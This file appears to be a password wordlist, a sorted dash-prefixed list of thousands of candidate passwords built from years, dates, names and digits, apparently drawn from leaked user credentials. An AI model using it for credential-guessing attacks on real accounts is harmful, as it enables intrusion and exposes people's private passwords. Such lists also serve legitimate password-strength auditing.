-180683 -180684 -18068479440257 -180685 -180686 -180687 -180688 -180689 -180690 -18069041ara -180691 -180692 -180693 -180694 -180696 -180697 -1806b692 -1806ik1987 -1806pupser1970 -1807 -18070871 -18071970fkbyf -18071974 -18071977 -18071983 -18071984 -18071985 -18071987 -18071988 -18071990 -18071991 -18071992 -18071993 -18071994 -18072005 -1807271600 -180736 -18074565 -180750 -180753 -180763 -180771 -180773 -180774 -180775 -180775t70510 -180776s70810 -180781 -180781p12813 -180783 -180784 -180785 -180786 -180787 -180788 -180789 -180790 -180791 -180791amjr -180792 -180795 -180798 -18079811 -1807dmmhj -1808 -180800joanna -180801 -1808019075 -180805 -180806 -180807 -1808144 -18081968 -18081969 -1808196zandi -18081982 -18081983 -18081988 -18081989wawa -18081991 -18081992 -18081993 -18081995 -180828 -180830 -1808349194 -1808465f -180855 -180862 -180865 -180866652 -180867h31827 -180869 -180870 -180871 -180875 -180877 -180879 -180881 -180882 -180883 -180884 -180885 -180886 -180886-JAC -180887 -180887b -180888 -180889 -180890 -180891 -180892 -180892172011 -180893 -180894 -180895 -180896 -1808east22 -1808knudsen -1809 -180900bb -180904 -180906 -180910 -18091818 -18091974 -18091979 -18091980 -18091981 -18091984 -18091985 -18091986 -18091988 -18091989d -18091991 -18092005 -180927 -18094287 -180949 -180956 -180960s30634 -180969 -180970 -180972 -180974 -180977 -180978 -1809793602933 -180980 -180981 -180982 -180983 -180985 -180985alpine -180986 -1809863797 -180986CooL -180987 -1809874721 -180987cuplan -180987s -180988 -18098812 -180989 -180989pirrha -180990 -18099013 -180991 -180992 -180993 -180999 -1809zxz -180a71c7 -180gversion -180lady -180mt708ts -1810 -1810-9775 -181000 -181000bb -181001 -181011 -18101810 -18101956 -18101978oleg -18101979 -18101981 -18101983 -18101985 -18101987 -18101988 -18101989 -18101990 -18101991 -18101993 -18101999 -181019999 -18102000 -18102211 -18103107napka -18103210789 -18103745 -18104 -181050 -181055 -181067 -181067gg -181069 -181070 -181071 -181073 -181074 -181075 -181076 -181077 -181079 -181079e41716 -181080 -181083mif -181084 -181084ca -181085 -181085natascha -181086 -181087 -181088 -181089 -181089ad -181090 -181090f -181091 -181092 -181093 -181094 -181095 -181096 -181099 -1810cvm -1810lovely -1810oa -1810seki -1811 -181104 -181106 -181107 -181111 -181112 -181118 -18111811 -181119 -18111964 -18111974 -18111982 -18111986 -18111987 -18111988 -18112003 -18112305 -181126rg -181135 -181140 -18115817261410 -181161 -181163 -181166618116 -181168 -1811718588 -181172#me -181173 -181174 -181175 -181176 -181179 -181181 -181182 -181182181182 -181183 -181183p31810 -181184 -181185 -181186 -181186ddmmyy -181187 -181187j -181188 -181189 -181189jf -181190 -181191 -181192 -1811922970 -181193 -181194 -1811943f -1811986SAFOO -1811990h -1811M19M42 -1812 -1812-6800 -181200 -18120001 -181201 -18120379 -181205 -181205maik -18121017 -181212 -18121508 -181216 -18121772 -181218 -18121812BZ -181218[th -18121957moritz -18121967 -18121968 -18121974 -1812197432 -18121976 -18121978ccl -1812198021 -18121981 -18121982 -18121985 -18121987 -18121988 -18121989 -18121993 -18122003kr -18122004 -18122006Joel -181221101975 -18122514rav -181245abc -18125179 -181252 -1812556 -181260 -181261 -181262 -181264 -181265 -181269 -181272 -181276 -181278 -181279 -181280 -181281 -181282cj -181284 -181285 -181286 -181287 -181288 -181289 -181289princo -181290 -181290matze -181291 -181292 -181293 -181294 -181295 -1812al -1812bd7f -1812gd -1812m -1812overture -1813 -18130 -18131813 -1813195 -18132212 -1813237 -181366 -1813698 -18138894 -1814 -18141188 -181412 -18141510 -181417afx -1814370yele -181482030 -181485 -18148618 -181488 -1814s11s79 -181500021 -181501 -181502te -18150679gl -181512 -18151815 -181522 -181533 -1815678steve -1815878474 -181596 -1815LN@my -1815blu -1815poppa -1816069582 -181612 -181613 -18163lav -1816515ibj -181654 -181657 -1816594 -18167800 -18168194 -181684 -1817 -18171 -181716 -181788 -1817905gs9 -1818 -181818 -18181818 -181819 -18182 -181820 -181820668qQ -18182076 -181821982 -1818369 -1818385844 -181881 -181887526 -18189499rlt -1818gjgc -1819 -181917654ms -181918 -18191819 -18191982 -181920 -181927261219 -181958031987 -181966 -181974 -1819747 -181977 -1819772008 -181983 -181984 -18198422dan -181985 -181986 -181987 -181988 -181989 -181989l -181990 -181991 -181992 -181993 -181994 -181998 -1819appm -1819mamma -181d181d -181rochdale -181vv181 -182 -1820 -182003 -1820032064 -182006 -182013 -182018 -18202 -18203361 -182035 -1820409 -182061 -182091 -182094 -1820painatal -1821 -18211592 -18211821 -1821200 -182129 -182130phpbb -182141 -18216924 -18217 -18217f19 -182182 -1821979 -1821bb -1821skywood -1822 -182200 -1822004 -182202 -1822054 -18220722 -1822105069 -18222516 -1822497373 -18227278 -18228322 -1822ba -1823105 -182315 -182324 -1823371108 -1823399071 -1823451915 -18235 -1823511180 -1823885988 -18239956 -1823Cash -1823paar -1823pickel -1823vier* -1824 -1824006m2k -18240973 -1824097303 -182411yuri -182418re -18241lr -182424 -182425 -182432love -182436 -182440 -18245 -182461b -182493710 -1825 -182510 -18251825 -182520 -182528 -182530 -182560 -182560864c -18257187 -1826 -182600 -182608322933 -18261 -1826130594 -18261931 -182624756 -18262618 -18264598 -182683 -18269 -1826dupre -1826lq -182712 -182718 -18271827 -1827182700 -18271901 -182736 -18273645 -182749710a -1827540 -18278566 -1828 -182804D -18281828 -182826West -182838 -182838good -182838hood -182838ray -1828464c -18286bab -18287 -18287579 -18289865 -1828bobby -1828farzeen -1828phpbb -1829 -18291829 -18291829c -18291985rbaq -182923 -18292701 -1829277968 -182946609 -182956 -182970 -18297304 -1829893 -1829894 -182Txd -182aja21 -182tmt -18301 -18302124 -183034sgh -183044 -1830a6 -1830dss -1830lcd -18311381 -1831208 -1831224 -1831292949 -183130 -183149 -1831620 -183183 -183183qaw -1831971174 -18320daskow -1832137 -183224 -183244marcus -18327062aaa -1832895 -1833 -183300 -1833189 -183349 -1833733520 -1833754871 -183381 -1833mm -1834 -18341834 -183447 -183456789 -183461 -18346183a -1834862 -1834896 -18349276 -1834927605chobo -1834eb -18351 -183512025 -183515 -18351647 -18352 -183603 -18361836 -18362112 -183652 -183662 -1836870169 -1837 -183708063 -18371837 -1837290 -18374ever -183756140 -1837612c -183791 -1837944 -1838 -18381 -1838163z -183818 -183859384263 -183866655 -1838OSTT -1839464 -18397893 -1839975353 -183club -183clubilu -183edc4RFV5 -183lke4ff4x -183qwerty157 -1840 -1840001 -18402 -1840316044881 -184042jma -184052 -18410410 -1841368 -1841991 -1841dac63c -1842 -184200 -1842001 -184209 -184211 -184213790 -1842331 -18424123 -184244 -18424451 -184264ab -184269343 -1842ismine -1843 -184307 -1843094117 -184321 -18433714 -18436572 -1843657218436572 -18436572w -18437 -1844 -184412 -18441844 -184466 -1844959364 -1844male -1845 -18450 -184500 -18450058 -184502 -1845122 -18451845 -18452104 -184555 -18455p -18461846 -18462276 -1846345 -184655 -18465529 -18465592 -184684 -18469216 -1847 -1847030184 -1847081 -184732 -18476 -1848 -1848109049 -18484 -1849 -18490000kat -184916 -1849251015 -184935arina -184953 -1849911 -184ksjuscha -184rb286 -1850 -18501850 -185023 -1850245 -185033 -1850374393 -185065804 -1851 -18510EG -18511851 -18511e48 -1851413Diego -1851455 -185163002 -185185 -185197 -1851994 -1851nscott -1852002 -1852002as -1852002as4r -1852333 -185236 -18525504 -185261 -1852dude -1852slar -185300 -18531 -18535 -1853LMhS -185419 -18544 -185476 -1854823 -1854829601 -1854afx -185500 -1855058090 -1855742347 -185591 -1855hugs -1856 -185606 -185619 -18568 -1856JA -1857006rissa -1857137 -18571857 -185791 -1857fafa -1858548b -1859 -1859021 -18591859 -185957sk -18596472 -18597660 -185989 -185RXmK -185xxx51 -186010597088 -1860828 -1860945466 -1860Tiger1860 -1860munchen -1861 -18610698XXX -18612051221 -1861217 -1861274464122 -1861307529 -18618410 -1861872097 -186196 -1861993 -1861brr -1861buch -18624677 -186264 -186282 -186284 -18629008 -1862moriss1862 -186322 -18637245 -18640973 -18641808880a -18642pem -186438217 -186480 -1864evangelion -186516 -18653792 -186548 -186553 -1866091584 -186622ihad -18662668 -186638 -186665a -1866850 -18671090 -18671941-7 -18672350 -18672449kzjr -1867318430 -18679dden -18680c -1868446261 -1868480425 -186874 -18687bb -186899 -1868death1 -1868em -1869217 -1869224 -186952jd -1869631 -1869xxx132494 -186kmps -187 -18700 -187000 -187014183945 -18701870 -187081 -1871 -18711 -1871220226792 -18716666vlad -18718192 -187185 -187187 -187187187lost -1871963 -18720113 -187211 -18721878 -187247 -187277 -1872906 -1872burke -18732655DS -1873518 -1873529953 -187355 -187357 -1874 -1874/52 -18741dm -187420 -187426 -18744042 -18745621 -1874644278 -1874miel -1875 -18750wcc -1875329sword12 -187533 -1875421 -18755 -1875918759 -1875yeahbaby -1876 -187600 -18761930 -187653 -187654 -1876656ianam -1876656yuri -1876656yurikaka -187666 -18766667335 -18766940 -18769834 -1876davide -18773 -1877jas6978 -187817696 -1878200 -1879 -18791879 -18791qazxcv -18795462 -187964 -187983088 -1879836 -187988tyson -187SloniK -187aa09 -187az632 -187bitches -187chiller -187code -187e6152 -187kfi -187lola187 -187m0f0 -187mdk -187new -187rideordie -187th -187thug -187umk2dr -187zambo -188000 -188002 -188015948 -18802192659 -1880296mama -1880mo -1881 -18811881 -18812006 -188170 -188181 -18819 -1881990 -1881leo -188296 -1882lego -1883 -188355 -1884 -1884026 -18842299 -188452 -1884520 -18849711 -1884daec -1885 -1885138marat -18853462 -18857477 -18858788 -1885greentea -1885kirk -1886 -18863tb3963 -18867m -188681258 -1887 -1887327513 -188787 -1887HSV1887 -1888 -188808 -18881225 -188824r -18884455 -188888 -1888schigor -1889 -188900 -188920685 -1889420 -188991 -1889diid -188bsxv6u -189 -1890 -18900126105339 -189010 -1890106620 -18901pa -1891 -1891-1980 -189144 -18915 -18915310 -1891680035 -189182829 -189189 -18918oleg -1891984 -1891990 -1891alberget -1891hatadif -1892 -18921892 -1892657 -1892990 -1892book -1892se! -1892tolk -1893 -1893085fat -189309 -18931730 -1893305019 -189345 -1893503qe -18935257000 -1893959303 -1893jr -1894 -189401 -18944890 -18944982id -18954 -18954113 -1895523 -189554826zz -1895563638 -18957498 -1895mcd -1895rc -18961505 -18963tenor -18965520 -189700 -189711mad2003 -189716751 -18971897 -189745 -189752 -18977189 -1897nks -1898622 -189899 -1899 -189911 -18993121 -1899341822 -1899700096 -189977 -189978004 -1899izzopp -189cyl56 -189dog7 -18>R)83 -18@tina1960 -18ASDF25 -18AWHFb936 -18Assel1984 -18B06A70S -18BApass -18BG5rKM8 -18BORDU -18BP6P58 -18Bizkit^ -18Bremen9854 -18Centr1ca -18DEATHMONEY -18Dr6X2ln -18Dragon5053 -18E1392535 -18EGRES84 -18EMO8AM -18FDDR -18GOLF4 -18Handykonsole -18I8D1RL -18IRONK -18Iredef -18Kszta -18Lovewell -18M03M1962M -18MK925 -18Mobby3 -18Mt19Hw80 -18Naga19 -18Nokia9176123 -18OXHLFQ -18PH0NE -18QGGUZZ -18Slotland -18Steckelbach -18W8724A81 -18XYBa -18YW5HE2 -18a030t41 -18a19b2 -18a2986d -18a755 -18a88j09s22 -18aFJY0y -18aaronlewis -18agucan123 -18aireadarde -18alesex -18allick -18altfvier -18amigo989 -18andyheidi06 -18anos -18apple -18april -18aprile -18apud -18asses -18b4QPt -18b4fg14 -18b57d34 -18b7b395 -18belatihe -18beouwolf -18bereshitbara -18bf6416 -18biba379 -18bjobj -18bladewing582 -18bloodyhunter20 -18bonny2006 -18bram2win -18bronson -18bubi123456 -18burck -18c18d2f -18c24b5f -18c365e5 -18c4ae6 -18cO85euk -18calif2 -18caro2207 -18cda6X -18championth -18chris -18cityservice -18cnfc49 -18coldaseis -18coldculture -18computer2316 -18coucou -18cr80 -18crimminy -18d76a1f8585 -18danger -18dani86 -18danteh1900 -18dc7c93 -18deabril -18decemb -18decembre -18dejulio -18devasclan -18dicembre -18dirtbike -18dr@ch3n22 -18dspsiche -18ekh2*1317 -18elmfield -18erode -18ertlino01 -18febrero1990 -18fevur531 -18flavio04 -18flowers78 -18fortuna95 -18forzagenoa -18francy -18frank02 -18gabberist -18gamersloot4eva -18gennaio -18gennaio1964 -18george17g -18ght02 -18gojeta862003 -18gold -18guicksilver -18h4c6udwgxp -18halfweg33 -18hanuta35 -18herchcs -18iam18 -18ianuarie -18inu18 -18ispolno -18j7pyvy -18janvier -18jason0281 -18jere89 -18jess -18ju63po08 -18ju70 -18juin1991 -18june2005 -18just956 -18k9xi77n0u3cm -18kailash -18karats -18kyuubi -18lCQ1Ke -18lerboany -18lfc92 -18lion80 -18lisa07 -18lisa07092001 -18lorieh -18love -18lpl]12 -18luca76 -18lug79 -18luglio1985 -18lukasz18qwe -18lysy -18m3?!! -18machine -18maggio04 -18maggio72 -18mamsoner -18man80utd -18manderche -18manisha -18marioflores -18marioweb -18martin+12 -18marz -18max0277 -18mbap0480 -18mendosa3 -18merteber -18metalicarus18 -18monaemilie -18monahasi -18montagne -18mortalkk99 -18moumoune -18mpm112 -18my6000 -18mybackya -18n07m13m16i -18nadi11 -18naj12345 -18nftp7318 -18nxnb -18oGR6 -18oOZng -18octombrie2004 -18oktober -18olga -18oli75 -18ostsee72 -18p02w81@ -18patoisier -18peyton -18pntony19kp -18pod18 -18pofecho -18polico -18pooface123 -18ptMqTi -18q12w1984 -18reinhard -18ro05sa90 -18rofltolol0 -18ronaldo -18rsayy -18rw0mfz -18sa11 -18san0913 -18sandra -18sarjjr -18sep1968 -18sept86 -18settembre -18sj47vnf -18sk8in4life -18soma9876 -18spider10man86 -18st77sr31 -18stone -18sun22 -18tanche -18tay74 -18telefon1209 -18thapril -18thenewdodge -18thfc82 -18tiaerfi -18tobe -18tony85 -18trg76tu -18uchid75 -18unityag123 -18vedrin -18veneno -18vfq1969 -18vikaspandey -18viper72 -18visions -18w08j19q77 -18wfr9152 -18wilddevil81 -18wrzesien -18wuya1314520 -18wyhs175 -18xanathu -18xq1y -18xray -18yknd54 -18ylykepi3 -18z26pp -18zabaloxi -18zajacek -18zbig -18zeke35 -18zhr24mys -18zngt75 -18zogzyzi6 -18zoll -18zzzzz06 -19 -19*ZiJbp -19,ich,92 -19. Februar -19.07.88 -19.08.06 -19.08.2006 -19.2.91 -19.81.twullg -19.Oktober -19.o5.o9 -19/07/83 -19/TH/80 -1900 -190000 -190006 -19000z -190011 -19001844 -19001900 -1900190191 -1900200 -19002002 -1900222430011 -190023041996 -190024 -190069 -1900791927 -190085bonitoe -190091 -1900cfvfhf -1900mata -1901 -1901/emma -19010000 -190103 -190109mon -19011234 -19011409 -190118be -1901195 -19011960 -19011974 -19011980 -19011983 -19011987 -19011988sasha -19011990 -19011991 -19011994 -19011994biman -19012003el -19012917 -190160 -190163eddy -190171 -190172 -190176 -19017794m -190178 -190179 -19017a -190180 -190183 -190184 -190184trouble -190186 -190187 -190188 -190188joeinnes -190189 -190189og -190190 -190191 -190192 -190192asb -190193 -190194 -190195 -1901LoVe -1901dat -1901la1193 -1901manu1971 -1901thedeep -1901yvan -1902 -190200 -190209 -190214 -19021712 -19021861 -19021902 -19021951 -19021981 -19021984 -19021985 -19021986 -19021988 -19021989 -190219900 -19021990srs -19021991 -190219920202 -19021994 -19021998ddaniel -19022003 -1902204 -19022091 -1902364LENA -19025 -19025875 -190259 -190262 -19026907 -190270 -190273 -190274 -190277 -19028 -190282 -190284 -190285 -190286 -190286-1895 -190287 -190288 -190289 -190290 -190291 -190292 -190293 -190294 -190295 -190296 -190299 -1902jp -1903 -190300 -190302 -19030374 -190306 -190314 -19031903 -19031968 -19031974 -19031980 -19031981 -190319821903 -19031984 -19031986 -1903198619 -19031987 -19031988 -19031989 -19031990 -19031993 -19031997 -19032006 -190333lee -1903428 -1903456 -190358199 -190362 -190363 -190368 -190371 -190372 -190373 -1903731105 -190374 -190375 -190377 -190378 -190378karabas -1903799 -190380 -190381 -190382 -190383 -1903832967820 -190384h -190385 -190386 -190387 -190388 -1903888 -190389 -190390 -19039076491295 -190391 -190392 -190393 -190395maroc -190397 -1903@# -1903ceza -1903dyr1982 -1903kbh1953 -1903liwenz -1904 -190400 -19040306582153 -190404 -190404oz -19040810 -190410668 -19041707 -19041966vanmo -19041973 -19041977 -19041979 -19041986 -19041987 -19041991 -19041994 -19041ELI -190428tou -190429 -190431 -190440 -190459 -190468 -190472DIGI -190475 -190476 -190477 -190477n30610 -190479 -190481 -190482 -1904821922 -190483 -19048326 -190484 -190485 -190486 -190487 -190488 -190489 -190490 -190491 -190492 -190493 -190494 -190496 -1904golf -1904puchis61 -1904tin -1904varyg1905 -1905 -190503 -190506 -190507 -190509021979 -19051 -190515 -19051814 -19051905 -19051919 -19051969 -19051975 -19051978 -19051979 -19051982 -19051984 -19051986 -19051987 -19051988 -19051990 -19051991 -19051998 -19051law -190560susi -190562 -190565 -190566w50830 -190567 -190569 -190573 -190574G32014 -190576 -190577 -190578 -190580 -1905802520129128 -190581 -190582190582 -190584 -1905849rg -190586 -190587 -190588 -190588laura -190589 -190589konstantin -190590 -190591 -190592 -190592ksgr -190593 -190594 -1905948335006 -190595 -1905968 -190599 -1905998 -1905KR71 -1905avsar01 -1905badyl -1905baz -1905c1987c -1905phpbb -1905td -1905vigo -1906 -190605 -19060651 -190610 -19061906 -19061953 -19061977 -19061983 -19061984 -19061988 -19061989 -19061990 -19061991 -19061992 -19061993 -19062000sarah -19062004 -19062004erwin -190625 -19062528 -19062807 -1906384373 -190645 -190664 -190673 -190675 -190676 -190677 -190678 -190679 -190680 -190681 -190683 -190684 -190685 -190686 -190687 -190688 -190689 -190690 -19069013 -190691 -190692 -190693 -1906d -1906mama -1906qx3vc -1907 -190700 -190702 -190703 -190704 -190706 -190712 -190715 -19071907 -19071930 -19071952mama -19071965 -19071978 -19071979 -19071982 -19071983 -19071984 -19071986 -19071987 -19071989 -19071989pyx19 -19071991 -190719930202 -19071996 -19071997 -19072003 -19072005 -1907330 -190733@ -1907348 -19076 -190762 -190765 -190771 -190772 -190774 -190775 -190776 -190778 -190778php -190779 -190781 -190783 -190784 -190784. -190785 -190786 -190787 -190788 -190789 -190790 -190791 -190792 -190793 -190795 -190797 -1907Batjac -1907f1907b -1907fb -1908 -190806 -190807 -19081964 -19081965Pallada -19081969 -19081978vassili -19081979slavok -19081979slavokd -19081980 -19081982 -19081985 -19081986 -19081988 -19081989 -19081996 -19082510 -19083388c -190847 -190861 -190863 -190867 -19086r -190878 -190878250980 -190878l31810 -190879 -190880 -190881 -1908811 -190884 -190885 -190886 -190887 -190888 -190889 -190890 -190891 -190892 -190893 -190894 -190895 -1908969 -190897 -190898 -190899 -1908CDR -1908KSA1908 -1908kk -1908ml -1909 -190901 -190904 -190906 -190914 -190915 -190918 -19091949 -19091957 -190919671909 -19091971 -19091975 -19091978 -19091979 -19091983 -19091984 -19091985d40220 -19091987 -19091988 -19091989 -19091990 -19091991 -19091992 -19091993 -19092001 -19092006 -190923 -19095149 -190965 -190967 -190968 -190969 -190975 -190979f60415 -190980 -190982 -190982vfhc -190983 -190984 -190985 -190986 -190987 -190987bijoux -190988 -190989 -190989batlle -190990 -190990AR -190991 -190992 -190993 -190994 -190995 -190998a -190admin111 -190blizzard -190mgp4ssw0rd -191 -1910 -191000 -191002 -19100312 -19101910 -19101959 -19101960 -19101973 -19101973rh -19101974 -19101976 -191019772130 -19101979 -19101981 -19101982 -19101983 -19101984 -19101985 -19101989 -19101989* -19101990 -19101992 -19101992rok -19101993 -19101995 -19101997 -19102004daniel@ -19102005 -19102007 -191024 -191028ktrn -191028mari -191050 -191058 -191065b20717 -191069 -1910693simo -19107125 -191073 -191074 -191074aa -19107581 -191076 -191079 -191080 -191081 -191082 -191083 -191084 -191085 -191086 -191087 -191088 -191089 -191090 -191091 -191091p -191092 -191093 -191094 -191095 -191096 -1910goofy80 -1910love -1910salamon -1911 -191100 -1911033 -191105 -19111211 -191117 -19111911 -19111947 -19111962 -19111963 -19111963jens -191119699 -19111980 -19111985miata -19111989 -19111990 -19111991 -19112002 -191134280135 -191151-mh5 -191161 -191163 -191167 -191170 -191172deb2008 -191173 -191178 -191180 -191181 -19118120 -191182 -191184 -191185 -191186 -191186++ -191187 -191188 -191189 -191190 -191191 -191191caldason -191192 -191193 -1911985pip -1911CUS -1911a1 -1911emma -1911jlo -1911kay -1911ky -1912 -191201 -191203 -191205 -191206 -191214825 -19121525!% -19121702 -1912189 -19121909 -19121912 -19121965 -19121972 -19121978 -19121979 -19121980 -19121985 -19121985IvAn -19121986 -19121986hronick -19121989 -19121990 -19121995 -19122003 -19122004 -191227 -191231333ki -191250 -191255 -191262oo -1912662 -191272 -191273416721 -191275 -191276 -191276c50511 -191277 -191279 -191279s20313 -191280 -191281 -191283 -191284 -191285 -191286 -191286*-+ -191287 -191288 -191288kolya -191289 -191289b72515 -191290 -191291 -191291grzyb -191292 -191293 -191296 -191296r -191298 -191299 -1912a -1912thc6hq -1912xxx2005 -1913 -191309722 -191321 -191334 -1913344qwerty -191342 -19134823 -1913511896 -191392 -1913Halva -1913poczta -1914 -191400 -1914100k -191413 -19141870 -191419 -19141918 -19141976 -191470qryo -191492320 -1914lola -1914pq -1915 -191500tvl -19150215pukea -191511aa -191516 -19151915 -191568 -1915micia -1915west! -1915whin -1916 -19160034671501 -19160358 -19160425 -191609 -19161916 -19163261916326 -1916363sdf -19169827250 -1916b7 -1916kube -1917 -191705064 -191711 -191715 -191716920408 -19171917vol -19171963jfk -19174958987 -1917_11h -1917efc8 -1917pr -1918 -19181512 -191817 -19181716 -19181918 -19182004 -19185888 -191887 -19189 -1918forever -1918mehmet -1919 -191903f9 -191909 -191919 -1919191 -19191910 -19191919 -19191919redrum -191921 -19192121 -19192263 -1919365 -191939 -1919391915600 -1919422 -1919551ivan -191958 -19196571 -19196884 -191969tescoo -191971 -191975 -191976 -191977 -191981 -191982 -191984 -191985 -19198585 -191986 -1919865907 -191987 -191988 -191989 -191990 -191991 -191992 -191993 -191994 -191995 -1919971max -191999 -1919Dan -1919beckam -1919delmo -1919ecomm -1919su -191A856O4 -191mb -191unitednations -192!192 -192.168.1.1 22 -1920 -192000 -192002 -192005 -192008rud -19200s -192010 -1920113165 -192017 -19201920 -192021 -19205401 -1920987123g -1920mikefayo -1921 -19211341 -19211921 -192124 -192127 -192151 -19215783 -19216801 -1921680197 -19216802 -1921680221991 -192168113qwerty -1921681231372 -192168123254 -192168174 -192168200254 -19216821 -1921687254 -192168vfrcbv -19217675 -192192 -1921PhY1h -1921bud -1922 -192203 -192213 -192222 -19222399 -192224 -192230 -19224642 -192291 -1922cc -1922julian1414 -1922me -1922pietro -1923 -192300 -19230531 -192306 -19230883 -19230va -192319 -19231923 -19231924 -19231980 -192324 -192345 -192367 -192385 -192397 -1923? -1923SN17 -1923Turk -1923erika -1923nicol -1924 -192401 -192413383 -19241924 -19241924anton -19241924shiva -192423 -192424 -192426 -192459 -19246069 -192468 -192480 -192481 -1924888 -1924cks -1924emjo -1924kids -1924mommy -1924peewee -1925 -192510 -19251218 -192514XXX -19251916 -19251925 -19251970anus -19252185 -192525 -192530 -19253487 -192535 -192555 -192563 -1925696 -192573 -19257812solo -192587 -1925jac -1925ks -1925ultra -1926 -192603 -192612 -192613 -19261926 -19261990. -19261992 -19263000 -192641 -1926bumpkin -1926joy -1926mm -1927 -192718514 -19271927 -19273991 -192743 -192748 -19276343 -192789 -1927FA -1927asroma -1927bdm -1927hn1930 -1928 -1928-5325 -19281928 -19281h -192837 -19283719 -1928374465 -19283746 -192837465 -192837465a -19283764 -192837666 -192837m -192846375 -1928738g -1928812jon -1928bubbel06 -1928dead4 -1928rl -1929 -19291929 -192938 -192939 -192983 -1929900224 -1929aa -1929aza -192Ph0en1x793 -192bbe -192cHa!f -192megaram2 -192nitram8 -192vsync -192yf4fgcfpzv -193-dream7025 -193.252. -1930 -193000cg -1930022 -193019311932 -193020 -193077 -1930950991 -1930cebware -1930halo -1931 -19311959 -19316301xx -193165521216 -193168191216 -193168193 -1931712622 -1931943e -1931990 -1931kwdd -1932 -19320205690 -19320930 -19320edean -1932509a -193251 -19328304abc -1932844zip -1932cjsfkds -1932fred -1932papa -1933 -19331933 -1933204vas -1933211062 -193340359 -193373 -19337719 -1933lucy -1934 -193416 -19341934 -19341992 -193423 -19345666 -193460 -193498s -1934crazydogs -1934lord -1935 -193512 -19351322 -1935420 -19354200 -19355popa -193568 -1936 -193600 -19360405 -19361936 -19361945 -193647 -1936755062 -1936meg -1937 -193709 -19371959 -19372000 -193728 -19372846be -193729 -193737 -1937456 -193746 -19374628 -193746825 -193758989 -19375keywelt -19376463 -193765 -193767rr -1937824650 -19378426555 -193785246 -193793 -1937cacho -1937dodge -1937dz -1938 -193800 -19381938 -19382738 -193845 -1938547 -19387h -1938CASE -1938jr -1938live -1938rosa -1939 -19390802stass -19391939 -19391945 -19391971 -193939 -193945VOV -1939967k -1939bless -1939d70 -1939dk -1939gengor -1939hd -193X*hcA -193aj4286 -193aya -193h92pe -193sw?130 -193ty25 -194.44.196.1 -194.78 -1940 -19401980 -19402337 -19404bbb -1940537626 -1940653226 -194088 -1940ca -1940mjfm -1940voksal -1941 -19410870 -194115 -194116 -19411941 -19411945 -19411952 -19412157 -194133 -19415 -19416198804431 -1941974 -1941982 -1941kuku2254 -1941mini -1941ru1945 -1942 -194200 -19421942 -194237 -19423jkl -1942417299 -1942422495 -194255 -19426 -1942Anita -1942Zj8907 -1943 -19430319 -19431945 -194355ronak -194367 -1943Samsung -1943dgj2 -1943skunky -1944 -194400 -194400318 -19440833 -194430 -1944348 -194487 -1944mary -1944moha -1945 -19450 -19450213 -19450706 -19451945 -194523 -1945282AS -194544d -19455491 -194584380 -19459650hzr -1945harley -1945rornac -1946 -194610 -19461173mn -19461204 -19462763 -194629917 -19464 -194646 -19466789 -19466996 -194682 -194685uni7 -1946al -1946dasindo -1946maxim -1946saba1979 -1947 -194700 -194702 -1947139420 -194717 -19471947 -19471953 -19471956 -1947313vvv -194747 -1947529 -194762 -1947DB37 -1947duffy -1947zbych22 -1948 -1948103 -19481948 -19481950 -19481978 -194850 -194854 -1948559290 -194869 -194885 -1948861262 -1948Dopey -1948fabri -1948gia -1948tb -1948und1949 -1948zv -1949 -194903 -19490920lwr -19491001 -194915 -19491949 -19491984 -19491985 -19493671 -1949657315 -1949843 -19499333 -1949Ford -1949gusalva -1949nb03 -194DyA3w -194a6af -195 -1950 -195000 -19500320 -19501030 -19503rdst -19504950 -195070lei -1950OygToHie -1950chevy -1950guenni -1950nard -1950vhg04 -1951 -19510321 -19511116LJCNEG -19511116ljcneg -19511551elpro -19511951 -19511980 -19511984 -19516129 -195171m -1951958 -1951Dek -1951ford -1951fred -1952 -19520322drakon -19521945 -19521952 -195219541979 -195219541980 -19521964 -195220 -19522006 -195225as -1952261 -195230 -195234063 -1952419524 -195245 -195255 -195266 -195270 -195285735465 -1952sw -1953 -19530127 -19531940 -19531953 -19531988 -195320 -19532598 -195337 -1953510576 -1953516 -1953518d -195363 -19537 -195375 -1953RG -1953bazar -1953chevy -1953enri -1953ll -1953merlin50 -1953mint -1953patronen -1954 -19540122 -19540204 -195405 -19540713 -1954131949211 -19541954 -195419541954 -19541961 -19541962 -1954244390 -195432 -19544 -195464 -19547208 -195480** -1954821 -19549641 -1954April12 -1954Gais -1954bizz -1954clab -1954e12 -1954ems -1954hope -1954psycho1954 -1955 -19550000 -1955015 -19550403 -1955109 -19551955 -19551955tg -19551959 -19551960 -19553348 -1955338325 -19555555 -1955621 -195566 -1955db -1955dick -1955jonecki -1955mcs -1955sk -1955soleil01 -1955tn -1956 -195600 -195612719711129 -195613 -195619 -19561956 -19561989 -19561991igor -195624 -1956433ee -1956502 -195666 -19566666 -195678grgr -19568630 -195696098 -1956JPD -1956PATUXO -1956bore224 -1956bsaC12 -1956dp -1956fjla -1956gaia -1956herbalife -1956manila -1957 -1957-stephen -195700 -195710 -19571945 -19571957 -19571986 -195733 -19573564 -1957364280 -19575005 -195777 -1957bible -1957bk -1957brodnica -1957chev -1957chevy -1957gv -1958 -195806060058 -19581 -19581208 -195813 -195815 -195815x7 -19581954 -19581955 -19581958 -19581959schady -19581962 -19581980 -195855 -195856 -195888 -1958luz -1958nico -1958tkh -1959 -1959** -195900 -19590109 -19590325sergei -195905 -19590628szil -195908 -19591 -195912bucika -19591959 -19591960 -19591983 -19592010 -195969 -195975d -195977 -1959bazar12 -1959castro -1959pmw -1959qw -1959sge -1959torent -195x00 -1960 -19600 -196000 -19600225jozsi -19600314 -19600416cript -1960055 -196011renato -19601810rop -196019 -19601960 -196019611985 -19601963igpdq -19601965 -19601969 -19601982 -19602000 -19602003lora -196040 -1960527uk -196075 -1960DADA -1960alex -1960anita -1960dandolina -1960fluck -1960oink -1960oo -1961 -1961%AFRICA -1961-1998vics -196100 -19610809 -19610813Henning -196109100 -196111 -1961126jlg -19611601 -19611710KDY -196119 -19611961 -196162 -1961622205 -196167 -1961671 -19617274121954 -19617777zet -19618z -196197gm -1961987 -196199 -1961993 -1961CA -1961avg21 -1961bisio -1961db -1961giggi -1961izzard77 -1961maceo -1961maru -1962 -1962!JR -196200 -196202 -19620330 -196204 -19620558 -196207 -19620712 -196212 -19621210 -196215 -19621962 -19621964 -19621965 -19622102 -196223 -19622725 -196231 -196240 -196255 -196270 -196281 -19628153 -1962PR -1962Samer -1962cessna -1962ejb -1962gintarelis -1962impss -1962irene -1962jb -1962kasa1962 -1962mason -1962spider -1963 -196300 -19630316 -196310 -196315S -196319 -19631956 -19631961 -19631963 -19631964 -19631965 -19631966edv -19631997 -196321dc -196326 -1963322 -196333 -1963475280 